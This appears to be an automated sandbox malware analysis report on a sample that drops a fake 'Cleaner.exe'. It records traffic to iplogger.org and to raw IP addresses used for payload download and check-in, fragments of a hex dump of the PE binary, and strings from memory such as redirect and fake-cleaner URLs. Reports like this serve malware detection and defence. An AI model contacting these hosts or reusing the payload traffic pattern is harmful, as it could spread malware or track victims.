6f 00 00 01 28 33 00 00 0a 02 04 6f 32 00 00 0a 7d 05 00 00 04 2a 3a 02 03 73 01 00 00 06 04 28 02 00 00 06 2a 1e 17 80 06 00 00 04 2a 32 72 df 00 00 70 28 3b 00 00 0a 26 2a 56 72 a8 0f 00 70 80 07 00 00 04 72 a8 0f 00 70 80 08 00 00 04 2a 1e 02 28 1f 00 00 0a 2a 3e 02 fe 15 06 00 00 02 02 03 7d 09 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a 7d 09 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 47 00 00 0a 26 2a 3e 02 fe 15 07 00 00 02 02 03 7d 0e 00 00 04 2a aa 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 7d 0e 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 48 00 00 0a 26 2a 22 02 fe 15 08 00 00 02 2a 3e 02 fe 15 09 00 00 02 02 03 7d 18 00 00 04 2a 52 02 03 7d 20 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 03 Oct 2022 15:29:59 GMTServer: Apache/2.4.41 (Ubuntu)Pragma: publicExpires: 0Cache-Control: must-revalidate, post-check=0, pre-check=0Cache-Control: privateContent-Disposition: attachment; filename="soft";Content-Transfer-Encoding: binaryContent-Length: 3947920Keep-Alive: timeout=5, max=99Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 f1 9a e4 ea 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 e4 14 00 00 0c 00 00 00 00 00 00 a6 02 15 00 00 20 00 00 00 20 15 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 15 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 02 15 00 4f 00 00 00 00 20 15 00 32 09 00 00 00 00 00 00 00 00 00 00 00 28 3c 00 90 15 00 00 00 40 15 00 0c 00 00 00 38 02 15 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ac e2 14 00 00 20 00 00 00 e4 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 32 09 00 00 00 20 15 00 00 0a 00 00 00 e6 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 15 00 00 02 00 00 00 f0 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 02 15 00 00 00 00 00 48 00 00 00 02 00 05 00 68 81 00 00 40 45 00 00 01 00 00 00 54 00 00 06 a8 c6 00 00 90 3b 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a ae 7e 01 00 00 04 2d 1e 72 01 00 00 70 d0 03 00 00 02 28 14 00 00 0a 6f 15 00 00 0a 73 16 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 2a 6a 28 03 00 00 06 72 3d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 4d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 b7 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 cb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 d9 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 eb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 1f 01 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 1a 7e 03 00 00 04 2

Source: global traffic

HTTP traffic detected: GET /1Pz8p7 HTTP/1.1User-Agent: Mozilla/5.0 (Linux; Android 9; SM-G973U Build/PPR1.180610.011) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36Host: iplogger.orgConnection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.104.97
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.104.97
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.104.97
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.104.97
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167
Source: unknown	TCP traffic detected without corresponding DNS query: 85.31.46.167

Source: file.exe, 00000000.00000000.352480046.000000000019B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://208.67.104.97/powfhxhxcjzx/ping.php?sub=NOSUB&stream=start&subst
Source: Cleaner.exe, 00000016.00000002.574678173.000001CFE5BF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fontfabrik.com
Source: Cleaner.exe, 00000016.00000002.565434475.000001CFC95D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://iplogger.org
Source: Cleaner.exe, 00000016.00000002.565355076.000001CFC95BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: file.exe, 00000000.00000003.396800531.0000000003B36000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.364648566.00000000031C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.390225598.0000000003712000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.393566637.000000000371E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.395142031.0000000003B1B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.392148582.00000000038FD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.389580944.0000000003AC7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.398066889.0000000003B63000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.394103173.0000000003913000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.392869347.0000000003AEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.397700050.0000000003934000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.396385601.0000000003924000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.395883295.000000000371B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.397228041.0000000003718000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.399409682.0000000003716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.365552738.0000000003080000.00000004.00000800.00020000.00000000.sdmp, soft[1].0.dr, Cleaner.exe.0.dr	String found in binary or memory: http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174
Source: Cleaner.exe, 00000016.00000003.437639112.000001CFE1B2E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Cleaner.exe, 00000016.00000003.437840133.000001CFE1B2E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.437639112.000001CFE1B2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com(
Source: Cleaner.exe, 00000016.00000003.439359814.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Cleaner.exe, 00000016.00000003.436930103.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/
Source: Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Cleaner.exe, 00000016.00000003.438267437.000001CFE1B50000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Cleaner.exe, 00000016.00000003.447075330.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designerso
Source: Cleaner.exe, 00000016.00000003.439268166.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.439104249.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.439219729.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.439012764.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.438961213.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.439161982.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersp
Source: Cleaner.exe, 00000016.00000003.436987400.000001CFE1B2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comH_
Source: Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: Cleaner.exe, 00000016.00000003.430687491.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430832292.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430600821.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430933717.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430979463.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430553370.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430753328.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.431021568.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Cleaner.exe, 00000016.00000003.431228141.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.431179686.000001CFE1B2A000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430147464.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/
Source: Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Cleaner.exe, 00000016.00000003.430832292.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430600821.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430979463.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430553370.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cn
Source: Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Cleaner.exe, 00000016.00000003.434754929.000001CFE1B28000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.434233291.000001CFE1B29000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.434991979.000001CFE1B2E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Cleaner.exe, 00000016.00000003.434593062.000001CFE1B28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/.T
Source: Cleaner.exe, 00000016.00000003.434380388.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.434233291.000001CFE1B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/.TTC
Source: Cleaner.exe, 00000016.00000003.434005148.000001CFE1B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/F
Source: Cleaner.exe, 00000016.00000003.434005148.000001CFE1B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0ho
Source: Cleaner.exe, 00000016.00000003.434005148.000001CFE1B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/ho
Source: Cleaner.exe, 00000016.00000003.434380388.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.434233291.000001CFE1B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/ho
Source: Cleaner.exe, 00000016.00000003.444449589.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.444320811.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.monotype.9
Source: Cleaner.exe, 00000016.00000003.428279324.000001CFE1B22000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.428357477.000001CFE1B2F000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.428374052.000001CFE1B2F000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.428388847.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Cleaner.exe, 00000016.00000003.428279324.000001CFE1B22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com-
Source: Cleaner.exe, 00000016.00000003.428279324.000001CFE1B22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.comcom
Source: Cleaner.exe, 00000016.00000003.428357477.000001CFE1B2F000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.428374052.000001CFE1B2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.comd:
Source: Cleaner.exe, 00000016.00000003.428279324.000001CFE1B22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.como2
Source: Cleaner.exe, 00000016.00000003.428388847.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.comtr
Source: Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Cleaner.exe, 00000016.00000003.435071712.000001CFE1B28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.comI
Source: Cleaner.exe, 00000016.00000003.430026733.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: Cleaner.exe, 00000016.00000003.431705459.000001CFE1B20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.comq
Source: Cleaner.exe, 00000016.00000003.429063853.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.net
Source: Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: Cleaner.exe, 00000016.00000003.429063853.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netad
Source: Cleaner.exe, 00000016.00000003.436737283.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.436633622.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.436859788.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.437363653.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.437170500.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.437117752.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.437064705.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.436930103.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.437229886.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.de
Source: Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Cleaner.exe, 00000016.00000003.432353861.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: Cleaner.exe, 00000016.00000003.432353861.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn.TTF
Source: file.exe, 00000000.00000003.396800531.0000000003B36000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.364648566.00000000031C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.390225598.0000000003712000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.393566637.000000000371E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.395142031.0000000003B1B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.392148582.00000000038FD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.389580944.0000000003AC7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.398066889.0000000003B63000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.394103173.0000000003913000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.392869347.0000000003AEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.397700050.0000000003934000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.396385601.0000000003924000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.395883295.000000000371B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.397228041.0000000003718000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.399409682.0000000003716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.365552738.0000000003080000.00000004.00000800.00020000.00000000.sdmp, soft[1].0.dr, Cleaner.exe.0.dr	String found in binary or memory: https://g-cleanit.hk
Source: Cleaner.exe, 00000016.00000002.565355076.000001CFC95BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org
Source: file.exe, 00000000.00000003.396800531.0000000003B36000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.364648566.00000000031C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.390225598.0000000003712000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.393566637.000000000371E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.395142031.0000000003B1B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.392148582.00000000038FD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.389580944.0000000003AC7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.398066889.0000000003B63000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.394103173.0000000003913000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.392869347.0000000003AEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.397700050.0000000003934000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.396385601.0000000003924000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.395883295.000000000371B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.397228041.0000000003718000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.399409682.0000000003716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.365552738.0000000003080000.00000004.00000800.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000002.563291404.000001CFC91C1000.00000004.00000800.00020000.00000000.sdmp, soft[1].0.dr, Cleaner.exe.0.dr	String found in binary or memory: https://iplogger.org/1Pz8p7
Source: Cleaner.exe, 00000016.00000002.565404043.000001CFC95CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.orgx
Source: Cleaner.exe, 00000016.00000002.563291404.000001CFC91C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://take.rdrct-now.online/go/ZWKA?p78705p298845p1174

Source: unknown

DNS traffic detected: queries for: iplogger.org

Source: global traffic	HTTP traffic detected: GET /1Pz8p7 HTTP/1.1User-Agent: Mozilla/5.0 (Linux; Android 9; SM-G973U Build/PPR1.180610.011) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36Host: iplogger.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /powfhxhxcjzx/ping.php?sub=NOSUB&stream=start&substream=mixinte HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 208.67.104.97Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /software.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: DHost: 85.31.46.167Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /software.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: EHost: 85.31.46.167Connection: Keep-AliveCache-Control: no-cache
